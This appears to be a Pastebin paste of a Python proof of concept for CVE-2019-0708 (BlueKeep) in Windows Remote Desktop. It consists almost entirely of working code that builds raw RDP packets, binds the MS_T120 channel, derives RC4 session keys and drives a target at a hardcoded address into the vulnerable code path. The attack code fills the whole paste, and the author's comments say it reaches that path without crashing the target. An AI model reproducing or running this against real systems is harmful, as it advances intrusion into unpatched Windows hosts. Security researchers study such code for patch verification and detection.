Advertisement
Guest User

Untitled

a guest
May 22nd, 2019
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.67 KB | None | 0 0
  1. #CVE-2019-0708
  2. #the most worst PoC for only hitting vulnerable path NOT DOS!!!!! by Mateusz Garncarek
  3. #https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/e78db616-689f-4b8a-8a99-525f7a433ee2
  4. #https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPBCGR/%5bMS-RDPBCGR%5d.pdf
  5.  
  6. import socket
  7. import sys
  8. import struct
  9. import hashlib
  10.  
  11.  
  12. def macData(macSaltKey, data):
  13. """
  14. @see: http://msdn.microsoft.com/en-us/library/cc241995.aspx
  15. @param macSaltKey: {str} mac key
  16. @param data: {str} data to sign
  17. @return: {str} signature
  18. """
  19. sha1Digest = hashlib.sha1()
  20. md5Digest = hashlib.md5()
  21.  
  22. #encode length
  23. dataLength = len(data)
  24. dataLength = struct.pack('<I',dataLength)
  25. b36 = b"\x36" * 40
  26.  
  27.  
  28. sha1Digest.update(macSaltKey)
  29. sha1Digest.update(b36)
  30. sha1Digest.update(dataLength)
  31. sha1Digest.update(data)
  32.  
  33. sha1Sig = sha1Digest.digest()
  34.  
  35. b5c = b"\x5c" * 48
  36.  
  37. md5Digest.update(macSaltKey)
  38. md5Digest.update(b5c)
  39. md5Digest.update(sha1Sig)
  40.  
  41. return md5Digest.digest()
  42.  
  43.  
  44. def crypt(key, data):
  45. S = list(range(256))
  46. j = 0
  47.  
  48. for i in list(range(256)):
  49. j = (j + S[i] + ord(key[i % len(key)])) % 256
  50. S[i], S[j] = S[j], S[i]
  51.  
  52. j = 0
  53. y = 0
  54. out = []
  55.  
  56. for char in data:
  57. j = (j + 1) % 256
  58. y = (y + S[j]) % 256
  59. S[j], S[y] = S[y], S[j]
  60.  
  61.  
  62. out.append(chr(ord(char) ^ S[(S[j] + S[y]) % 256]))
  63.  
  64. return ''.join(out)
  65.  
  66.  
  67. def SaltedHash(Secret, I,client_random,server_random):
  68. md5 = hashlib.md5()
  69. sha1 = hashlib.sha1()
  70.  
  71.  
  72.  
  73. Secretb = bytearray()
  74. Secretb.extend(map(ord, Secret))
  75.  
  76.  
  77.  
  78. Ib = bytearray()
  79. Ib.extend(map(ord, I))
  80.  
  81. client_randomb = bytearray()
  82. client_randomb.extend(map(ord, client_random))
  83.  
  84.  
  85. server_randomb = bytearray()
  86. server_randomb.extend(map(ord, server_random))
  87.  
  88.  
  89. sha1.update(Ib+Secretb+client_randomb+server_randomb)
  90. md5.update(Secretb+sha1.digest())
  91. return md5.digest()
  92.  
  93.  
  94. def finalHash(key, client_random, server_random):
  95. """
  96. @summary: MD5(in0[:16] + in1[:32] + in2[:32])
  97. @param key: in 16
  98. @param random1: in 32
  99. @param random2: in 32
  100. @return MD5(in0[:16] + in1[:32] + in2[:32])
  101. """
  102. client_randomb = bytearray()
  103. client_randomb.extend(map(ord, client_random))
  104. server_randomb = bytearray()
  105. server_randomb.extend(map(ord, server_random))
  106. md5Digest = md5 = hashlib.md5()
  107.  
  108.  
  109. md5Digest.update(key)
  110. md5Digest.update(client_randomb)
  111. md5Digest.update(server_randomb)
  112. return md5Digest.digest()
  113.  
  114. #Hardcoded Client Info PDU
  115. packet_to_encrypt = b""
  116. packet_to_encrypt +=b"\x00\x00\x00\x00\x5B\x01\x01\x00\x00\x00\x08\x00\x08\x00\x00"
  117. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00"
  118. packet_to_encrypt +=b"\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00\x00\x00\x00\x00\x02"
  119. packet_to_encrypt +=b"\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  120. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  121. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  122. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  123. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  124. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  125. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  126. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  127. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  128. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  129. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  130. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  131. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  132.  
  133.  
  134. client_random = b""
  135.  
  136. client_random += b"\xff\xee\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  137. client_random += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff"
  138.  
  139.  
  140. host = '192.168.195.131'
  141. port = 3389
  142.  
  143.  
  144. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  145.  
  146.  
  147. s.connect((host, port))
  148.  
  149. received_data = ""
  150.  
  151. packet1 = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00"
  152.  
  153.  
  154. s.send(packet1)
  155. received_data = s.recv(10024)
  156.  
  157.  
  158. print("1st packet sent")
  159.  
  160. #Initial PDU with GCC Conference Create Request
  161. PDU = "\x03\x00\x01\xca\x02\xf0\x80\x7f\x65\x82\x01\xb2\x04\x01"
  162. PDU += "\x01\x04\x01\x01\x01\x01\xff\x30\x19\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02"
  163. PDU += "\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x30\x19\x02\x01"
  164. PDU += "\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04"
  165. PDU += "\x20\x02\x01\x02\x30\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02"
  166. PDU += "\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x04\x82\x01\x51"
  167. PDU += "\x00\x05\x00\x14\x7c\x00\x01\x81\x48\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75"
  168. PDU += "\x63\x61\x81\x3a\x01\xc0\xea\x00\x0b\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03"
  169.  
  170. PDU += "\xaa\x15\x04\x00\x00\x63\x45\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00"
  171. PDU += "\x4f\x00\x50\x00\x2d\x00\x37\x00\x39\x00\x46\x00\x56\x00\x56\x00\x30\x00\x43"
  172. PDU += "\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00"
  173. PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  174. PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  175. PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  176.  
  177. PDU += "\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x35\x00"
  178.  
  179. PDU += "\x65\x00\x37\x00\x37\x00\x63\x00\x33\x00\x39\x00\x35\x00\x2d\x00\x66\x00\x30"
  180. PDU += "\x00\x37\x00\x32\x00\x2d\x00\x34\x00\x63\x00\x37\x00\x36\x00\x2d\x00\x62\x00"
  181. PDU += "\x31\x00\x65\x00\x63\x00\x2d\x00\x66\x00\x36\x00\x32\x00\x66\x00\x65\x00\x37"
  182. PDU += "\x00\x33\x00\x00\x00\x07\x00\x00\x00\x00\x00\x58\x01\x00\x00\xc1\x00\x00\x00"
  183. PDU += "\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00"
  184. PDU += "\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00"
  185.  
  186.  
  187. #count of channels
  188. PDU += "\x06\x00\x00\x00"
  189.  
  190. #channels
  191. PDU += "rdpdr" + "\x00\x00\x00" + "\x00\x00\x80\x80"
  192. PDU += "rdpsnd"+"\x00\x00" + "\x00\x00\x00\xc0"
  193. PDU += "cliprdr"+ "\x00"+ "\x00\x00\xa0\xc0"
  194. PDU += "AAAAAAA" + "\x00" + "\x00\x00\x00\x80"
  195. PDU += "MS_T120" + "\x00" + "\x00\x00\x00\x80"
  196. PDU += "drdynvc" + "\x00"+ "\x00\x00\x80\xc0"
  197.  
  198.  
  199.  
  200. length_packet = len(PDU)
  201. print(length_packet)
  202.  
  203. #stupid calculating length for ASN.1 xD
  204. ber = length_packet-12
  205. ber2 = length_packet-109
  206. ber3 = length_packet-118
  207. ber4 = length_packet-132
  208. ber5 = length_packet-390
  209.  
  210.  
  211.  
  212. length_packetb = struct.pack(">h", length_packet)
  213.  
  214. berb = length_packet = struct.pack(">h", ber)
  215. ber2b = length_packet = struct.pack(">h", ber2)
  216. ber3b = length_packet = struct.pack(">h", ber3)
  217. ber4b = length_packet = struct.pack(">h", ber4)
  218. ber5b = length_packet = struct.pack(">h", ber5)
  219.  
  220.  
  221. #even more worse calculating length for ASN.1 xD
  222. PDU_b = bytearray()
  223. PDU_b.extend(map(ord, PDU))
  224.  
  225. PDU_b[2] = length_packetb[0]
  226. PDU_b[3] = length_packetb[1]
  227.  
  228. PDU_b[10] = berb[0]
  229. PDU_b[11] = berb[1]
  230.  
  231.  
  232. PDU_b[107] = ber2b[0]
  233. PDU_b[108] = ber2b[1]
  234. #hardcoded high part of length xDDDDDDDDd
  235. PDU_b[116] = 0x81
  236. PDU_b[117] = ber3b[1]
  237. #hardcoded high part of length xDDDDDDDDd
  238. PDU_b[130] = 0x81
  239. PDU_b[131] = ber4b[1]
  240. PDU_b[392] = ber5b[1]
  241.  
  242.  
  243. s.send(PDU_b)
  244. received_data = s.recv(1024)
  245.  
  246. #more hardcoded things xDDDDDDDDd
  247. server_random = received_data[121:153]
  248. modulus = received_data[189:253]
  249. public_exponent = received_data[185:189]
  250.  
  251.  
  252.  
  253. #print(modulus)
  254.  
  255.  
  256. print("Initial PDU sent")
  257.  
  258.  
  259.  
  260. #modulus_b = bytearray()
  261. #modulus_b.extend(map(ord, modulus))
  262.  
  263.  
  264. #Obtaining things for RSA
  265. modulus = int.from_bytes(modulus, byteorder='little')
  266. public_exponent = int.from_bytes(public_exponent, byteorder='little')
  267. client_random = int.from_bytes(client_random, byteorder='little')
  268.  
  269.  
  270.  
  271. #Encrypting client radom
  272.  
  273. encrypted_client_random = pow(client_random,public_exponent,modulus )
  274. encrypted_client_random = encrypted_client_random.to_bytes(64, byteorder='little')
  275.  
  276.  
  277. ####Begin of connecting virtual channels, it's also hardcoded xD
  278. packet3 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"
  279. s.send(packet3)
  280. print("3rd packet sent")
  281.  
  282.  
  283. packet4 = b"\x03\x00\x00\x08\x02\xf0\x80\x28"
  284. s.send(packet4)
  285. received_data = s.recv(1024)
  286. print("4th packet sent")
  287.  
  288.  
  289. packet5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xf1"
  290. s.send(packet5)
  291. received_data = s.recv(1024)
  292. print("5th packet sent")
  293.  
  294.  
  295. packet6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xeb"
  296. s.send(packet6)
  297. received_data = s.recv(1024)
  298. print("6th packet sent")
  299.  
  300.  
  301. packet7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xec"
  302. s.send(packet7)
  303. received_data = s.recv(1024)
  304.  
  305.  
  306.  
  307. packet8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xed"
  308. s.send(packet8)
  309. received_data = s.recv(1024)
  310.  
  311.  
  312. packet9 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xee"
  313. s.send(packet9)
  314. received_data = s.recv(1024)
  315.  
  316.  
  317. packet10 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xef"
  318. s.send(packet10)
  319. received_data = s.recv(1024)
  320.  
  321.  
  322.  
  323. packet11= b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xf0"
  324. s.send(packet11)
  325. received_data = s.recv(1024)
  326. ###########End of connecting virtual channels
  327.  
  328.  
  329. #Client Security Exchange PDU
  330.  
  331. PDU_Security_Exchange = b"\x03\x00\x00\x5e\x02\xf0\x80\x64\x00\x08\x03\xeb\x70\x50\x01\x02\x00\x00\x48\x00\x00\x00"
  332. PDU_Security_Exchange += encrypted_client_random
  333. PDU_Security_Exchange += b"\x00\x00\x00\x00\x00\x00\x00\x00"
  334.  
  335.  
  336.  
  337.  
  338.  
  339. client_random = client_random.to_bytes(32, byteorder='little')
  340. client_random = "".join(map(chr, client_random))
  341. server_random = "".join(map(chr, server_random))
  342.  
  343. #Calculating hashes and things for RC4 encryption it's only done for 128BIT RC4
  344. PreMasterSecret = client_random[:24] + server_random[:24]
  345. MasterSecret = SaltedHash(PreMasterSecret,"A",client_random,server_random) + SaltedHash(PreMasterSecret,"BB",client_random,server_random) + SaltedHash(PreMasterSecret,"CCC",client_random,server_random)
  346. MasterSecret = "".join(map(chr, MasterSecret))
  347. SessionKeyBlob = SaltedHash(MasterSecret,"X",client_random,server_random) + SaltedHash(MasterSecret,"YY",client_random,server_random) + SaltedHash(MasterSecret,"ZZZ",client_random,server_random)
  348. FinalClientEncryptKey128 = SessionKeyBlob[32:48]
  349. FinalClientEncryptKey128 = finalHash(FinalClientEncryptKey128,client_random,server_random)
  350.  
  351. print(':'.join(hex(x)[2:] for x in FinalClientEncryptKey128))
  352.  
  353.  
  354. MACKey128 = SessionKeyBlob[:16]
  355.  
  356. #print(':'.join(hex(x)[2:] for x in MACKey128))
  357.  
  358. FinalClientEncryptKey128 = "".join(map(chr, FinalClientEncryptKey128))
  359. FinalMac128 = macData(MACKey128, packet_to_encrypt)[:8]
  360. packet_to_encrypt = "".join(map(chr, packet_to_encrypt))
  361. encrypted_packet = crypt(FinalClientEncryptKey128,packet_to_encrypt)
  362.  
  363.  
  364. encrypted_packetb = bytearray()
  365. encrypted_packetb.extend(map(ord, encrypted_packet))
  366.  
  367. #print(':'.join(hex(ord(x))[2:] for x in encrypted_packet))
  368.  
  369.  
  370.  
  371. #Client Info PDU together with #Client Security Exchange PDU
  372. Client_Info_PDU = b""
  373. Client_Info_PDU += PDU_Security_Exchange
  374. Client_Info_PDU += b"\x03\x00\x01\x05\x02\xf0\x80\x64\x00\x03\x03\xeb\x70\x80\xf6\x48\x00\x00\x00"
  375. Client_Info_PDU += FinalMac128
  376. Client_Info_PDU += encrypted_packetb
  377.  
  378.  
  379. s.send(Client_Info_PDU)
  380. received_data = s.recv(1024)
  381. print("Last packet sent")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement